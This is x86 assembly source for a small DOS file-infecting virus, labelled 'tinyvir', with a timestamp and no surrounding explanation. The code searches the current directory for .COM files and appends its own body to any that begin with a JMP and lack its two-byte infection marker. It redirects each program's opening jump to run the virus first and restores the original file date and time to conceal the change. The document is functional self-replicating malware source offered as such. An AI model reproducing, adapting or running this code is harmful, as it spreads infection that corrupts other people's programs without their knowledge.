2022-08-21 09:07:57 +00:00
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PAGE ,132
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tinyv SEGMENT BYTE PUBLIC 'code'
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ASSUME CS:tinyv
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ASSUME SS:tinyv
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ASSUME DS:tinyv
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H00000 DB 0
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H00001 DB 255 DUP(?)
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program PROC FAR
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ASSUME ES:tinyv
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begin:
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JMP pgstart ; start program
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exlbl LABEL BYTE
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db 0CDh, 20h, 7, 8, 9
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pgstart:
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CALL tinyvir
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mnprg PROC NEAR
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tinyvir:
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POP SI ; get SI for storage
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SUB SI,offset tinyvir ; reset SI to virus start
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MOV BP,[SI+blnkdat] ; store SI in BP for return
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ADD BP,offset exlbl ; Add to get original offset
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LEA DX,[SI+fspec] ; get filespec (*.COM)
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SUB CX,CX ; || (clear regs)
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MOV AH,4EH ; || (find files)
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mainloop: ; \||/
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INT 21H ; ----\/----
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JC hiccup ; no more files found, terminate virus
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MOV DX,009EH ; set file name pointer
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MOV AX,3D02H ; open file
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INT 21H ; do it!
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MOV BX,AX ; move file handle to BX
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MOV AH,3FH ; read file
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LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
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MOV DI,DX ; set Dest Index to area for buffer (?)
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MOV CX,0003H ; read 3 bytes
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INT 21H ; do it!
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CMP BYTE PTR [DI],0E9H ; check for JMP at start
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JE infect ; If begins w/JMP, Infect
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nextfile:
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MOV AH,4FH ; set int 21 to find next file
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JMP mainloop ; next file, do it!
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hiccup: JMP nofile
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infect:
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MOV AX,5700h ; get date function
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INT 21h ; do it!
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PUSH DX ; store date + time
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PUSH CX
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MOV DX,[DI+01H] ; set # of bytes to move
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MOV [SI+blnkdat],DX ; " " " " " "
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SUB CX,CX ; " " " " " " (0 here)
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MOV AX,4200H ; move file
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INT 21H ; do it!
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MOV DX,DI ; set dest index to area for buffer (?)
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MOV CX,0002H ; two bytes
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MOV AH,3FH ; read file
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INT 21H ; do it!
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CMP WORD PTR [DI],0807H ; check for infection
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JE nextfile ; next file if infected
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SUB DX,DX ; clear regs
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SUB CX,CX ; " "
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MOV AX,4202H ; move file pointer
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INT 21H ; do it!
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CMP DX,00H ; new pointer location 0?
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JNE nextfile ; if no then next file
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CMP AH,0FEH ; new pointer loc too high?
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JNC nextfile ; yes, try again
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MOV [SI+offset endprog+3],AX; point to data
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MOV AH,40H ; write instruction
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LEA DX,[SI+0105H] ; write buffer loc |
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MOV CX,offset endprog-105h ; (size of virus) --\|/--
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INT 21H ; do it!
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JC exit ; error, bug out
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MOV AX,4200H ; move pointer
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SUB CX,CX ; clear reg
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MOV DX,OFFSET H00001 ; where to set pointer
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INT 21H ; do it!
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MOV AH,40H ; write to file
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LEA DX,[SI+offset endprog+3]; write data at SI+1AB
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MOV CX,0002H ; two bytes (the JMP)
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INT 21H ; do it!
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MOV AX,5701h ; store date
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POP CX ; restore time
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POP DX ; restore date
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INT 21h ; do it!
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exit:
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MOV AH,3EH ; close file
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INT 21H ; do it!
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nofile:
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JMP BP ; go to original file
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mnprg ENDP
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program ENDP
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blnkdat LABEL WORD
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DW 0000H
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fspec LABEL WORD
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DB '*.COM'
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DB 0
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endprog LABEL WORD
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tinyv ENDS
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END program
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